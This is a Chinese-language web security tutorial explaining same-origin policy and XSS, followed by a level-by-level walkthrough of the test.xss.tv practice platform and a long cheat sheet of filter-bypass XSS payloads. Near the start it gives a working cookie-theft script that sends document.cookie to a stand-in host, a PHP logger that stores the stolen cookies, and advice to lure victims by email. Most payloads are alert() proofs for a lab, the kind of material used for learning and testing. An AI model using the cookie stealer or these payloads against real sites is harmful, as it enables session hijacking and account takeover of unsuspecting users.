同源策略
同源策略(Same origin policy)是一种约定,它是最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。
浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。
影响源的因素:host(域名或IP,如果时IP地址则看做一个根域名),子域名,端口,协议。
下表给出了相对http://a.xyz.com/dir/page.html同源检测的示例:
URL | 结果 | 原因 |
---|---|---|
http://a.xyz.com/dir2/other.html |
成功 | |
http://a.xyz.com/dir/inner/another.html |
成功 | |
https://a.xyz.com/secure.html |
失败 | 不同协议 ( https和http ) |
http://a.xyz.com:81/dir/etc.html |
失败 | 不同端口 ( 81和80) |
http://a.opq.com/dir/other.html |
失败 | 不同域名 ( xyz和opq) |
需要注意的是,对当前页面来说,文件放在哪里并不重要,重要的是谁打开了这个文件,谁使用了这个文件,对于文件来说,谁使用了它,谁就是它的源。
浏览器中,那些带有src属性的标签如:<img><iframe>
等,都能够跨域加载资源,实际上就是由浏览器发起一次GET请求。它们和页面中的链接不受同源策略的限制。而XMLHttpRequest
受同源策略限制,他只可以访问来自同源的文件。
xss
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
XSS 大致分成三种类型):
反射型
存储型
DOM 型 如果用是否会存储在服务器上区分的话,DOM型也是反射型。
原本应该是输入数据的地方,但是却变成成功运行的代码。就是xss。
常用的盗取cookies
hacker可以它写了这样一个文件 a.com/test.js
var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
img.style.display='none';
document.body.appendChild(img);
而对应www.a.com/index.php的代码是这样,目的是记录发送过来的cookies
<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>
然后再在输出框中输入 <script src="http://www.a.com/test.js"></script>
就会直接将你的 cookies 直接发送到 a.com
这样就不知不觉的有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击链接就Ok了
也可利用ceye来打到cooikes
这里需要注意的是:可以执行xss的网站必须和你打cookie的地方是能够连通的。(src实际上就是由浏览器发起一次GET请求,必须让可以执行xss的网站能够访问到你打cookie的地方)。
xss绕过过滤的方式
学习测试平台:(http://test.xss.tv/)
第一关:
正常的xss,没有任何过滤。
payload:<script>alert(1);</script>
第二关:
通过查看源码,发现源码的<`
>被转为实体了。
![e1Cipd.png](https://s2.ax1x.com/2019/07/28/e1Cipd.png)
但是我们发现:input的value值里的
<>`没有被转为实体。这里我们就可以传入”>来闭合前面的input输入框。所以构造payload。
payload:"><script>alert('xss')</script><a id="
第三关:
查看源码发现:我们输入的<>
都被转为实体了,我们需要换个思路,我们可以通过事件来执行我们的js代码。
payload: ' onclick='alert("1");
第四关:
查看源码发现:value里的<>
,被替换成空了,上面的<>
被转为实体了,和上关方法一样。
payload: " onclick="alert('1');
第五关:
过滤如图:
on被替换成o_n,所以上述方法行不通了。
可以通过a标签的href属性构造payload。
payload:"><a href='javascript:alert(1);'><a"
第六关:
第六关过滤了href,但是可以通过大小写绕过。
payload:"><a hRef='javascript:alert(1);'><a"
第七关:
我们可以发现传入onclick时,on被替换成空了,这时我们可以尝试双写绕过。
payload: " oonnclick="alert(1);
第八关:
这里过滤了script,href等,不能通过双写,大小写绕过。这里我们需要用到编码绕过。原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,XSS转码则是针对属性所赋的值。
#coding=utf-8
import re
s='javascript:alert(1);'
flag_10=''
flag_16=''
for x in xrange(0,len(s)):
flag_10+='&#'+str(ord(s[x:x+1])) #10进制
flag_16+='&#x'+s[x:x+1].encode('hex') #16进制
print flag_10 # javascript:alert(1);
print flag_16 # javascript:alert(1);
payload: javascript:alert(1); 或
javascript:alert(1);
第九关:
经过测试发现:填入的链接必须带有http://
,所以,我们构造payload。
payload: javascript:alert("http://");
第十关:
经过测试上面的方法,发现都被转化为实体,编码也并不能绕过。
仔细观察页面源代码发现有三个隐藏输入框:
我们经过测试发现:只有t_sort可以传入数据,但是这里把<>
替换成空了,这里我们可以用onclick事件来执行js代码。但是这里有type是hidden,这里我们可以把hidden删了,然后点击输入框就触发了onclick事件。还有onchange事件等。
payload: http://test.xss.tv/level10.php?keyword=1&t_sort=%22%20onclick=%22alert(1);
第十一关:
我们查看源代码发现,多了个输入框,并且发现t_sort的双引号被转为实体了。
所以我们只能考虑下面的隐藏输入框了。
我发现从10关进入第11关时,存在t_ref值:
我们抓取从十关到第十一关的包发现,请求头存在Referer字段。这里的值对应了t_ref输入框的value值:
我们修改referer的值就能构造payload。
payload:Referer: " onclick="alert(1);
第十二关:
我们查看源代码发现t_ua有value值:
我们抓包构造User-Agent就可以产生xss。
payload: User-Agent: " onclick="alert(1);
第十三关:
我们抓包发现:cooike值和t_cook的value值一样:
所以我们构造cooike即可。
payload: Cookie: user=" onclick="alert(1);
第十四关:
因为环境问题,无法进行测试。所以不能测试,详情参考:
https://shuimugan.com/bug/view?bug_no=194934
和https://blog.csdn.net/weixin_44677409/article/details/91345651#LEVEL14_166
该问题源自一些浏览器查看图片 Exif 信息的插件,如果图片里面含有 XSS 代码,这些插件在展现信息渲染的时候就会被执行,导致在本不存在漏洞的网页中“制造”出 XSS 漏洞。
第十五关:
这里用到了AngularJS框架。
发现ng-include有包含文件的意思,也就相当于php里面的include
这里我们可以包含第一关来构造我们这关的payload。
payload: http://test.xss.tv/level15.php?src=%27.%2flevel1.php%3Fname%3D%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E%27
第十六关:
这关过滤了script,空格,把他们替换成
这里我们可以用%0a或%0d来替换空格。
payload: <img%0Donerror="alert(1);"%0Asrc=1/>
第十七和十八关:
这里没看懂。emmm正常的方法。
猜测用的是这种方法过滤的
payload: http://test.xss.tv/level17.php?arg01=a&arg02=%20onclick=alert(1);
http://test.xss.tv/level17.php?arg01=%20onclick=alert(1)&arg02=b
第十九关:
Flash的xss
payload: http://test.xss.tv/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(1)%22%3Ealex%3C/a%3E
第二十关:
flash的xss
参考链接:https://www.freebuf.com/sectool/108568.html和https://www.cnblogs.com/kenkofox/p/3405395.html
payload: http://test.xss.tv/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
由于对flash不太了解,这里就不多说什么了,可以看看大神们的讲解。
利用代码
<img src=1 onerror="alert(1);">
<script>alert(1);</script>
<body onload="alert('xss')"></body>
<p onclick="alert('1')"> </p>
<input onfocus="alert('1')" autofocus/>
1.不使用 "
<input onfocus=alert('1') autofocus/>
2.不使用 '
<input onfocus="alert(/1/)" autofocus/>
3.不使用 ( )
<input onfocus="alert`'1'`" autofocus/>
4.不使用 ' " ( )
<input onfocus=alert`1` autofocus/>
5.使用html实体编码绕过
<input onfocus="alert('1')" autofocus/>
6.使用html实体编码绕过变形
<input onfocus="alert('1')" autofocus/>
1.在iframe标签中加载一个脚本页面
<iframe src="./alert.html"></iframe>
2.在script标签中加载一个脚本
<script src="./alert.js"></script>
在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本
Example:
1.在iframe标签中使用Data URI scheme直接嵌入文本
<iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script标签中使用Data URI scheme直接嵌入文本
<script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式
Example:
1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第一类的变形使用
Example:
1.使用html实体编码URI
<script src="./alert.js"></script>
2.使用html实体编码Data URI scheme
<script src="data:text/html,alert('1')"></script>
3.使用html实体编码BASE64编码之后的Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
-------------------------------------------------
常用的xss
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
--------------------------------------------------
在url中的xss
可以通过加#来进行利用(http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。)
或者&(后端变成切换参数,但在前端就是字符)